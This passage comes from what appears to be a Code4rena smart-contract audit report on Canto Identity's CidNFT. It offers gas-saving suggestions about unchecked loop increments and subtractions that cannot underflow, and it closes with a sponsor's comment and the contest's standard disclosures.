It's becoming a common pattern to use in `for` loops such as **this one in** `CidNFT` where you could consider using:

```
    for (uint256 i = 0; i < _addList.length; ) {
        // existing logic
        unchecked {
            ++i;
        }
    }
```

In `CidNFT` when calculating fees the math is using a constant, so `cidFee` is always less than `subprotocolFee` making the subtraction always safe when calculating `subprotocolFee - cidFee`.

In `CidNFT` `arrayLength - 1` is guaranteed to be safe since there is a check `if (arrayPosition == 0) revert...` above which handles the potential underflow scenario already.

OpenCoreCH (Canto Identity) commented:

> This was the most helpful report for me personally. The other reports often contained some generic recommendations that do not directly apply to the protocol (ERC721A instead of ERC721 which only helps with batch minting, changing uint96 which would use an additional storage slot in a struct, marking a string as immutable which is not possible, etc...). This report contains some nice refactoring suggestions that consider the context of the protocol.

Disclosures

C4 is an open organization governed by participants in the community.

C4 Contests incentivize the discovery of exploits, vulnerabilities, and bugs in smart contracts. Security researchers are rewarded at an increasing rate for finding higher-risk issues. Contest submissions are judged by a knowledgeable security researcher and solidity developer and disclosed to sponsoring developers. C4 does not conduct formal verification regarding the provided code but instead provides final verification.

C4 does not provide any guarantee or warranty regarding the security of this project. All smart contract software should be used at the sole risk and responsibility of users.

Top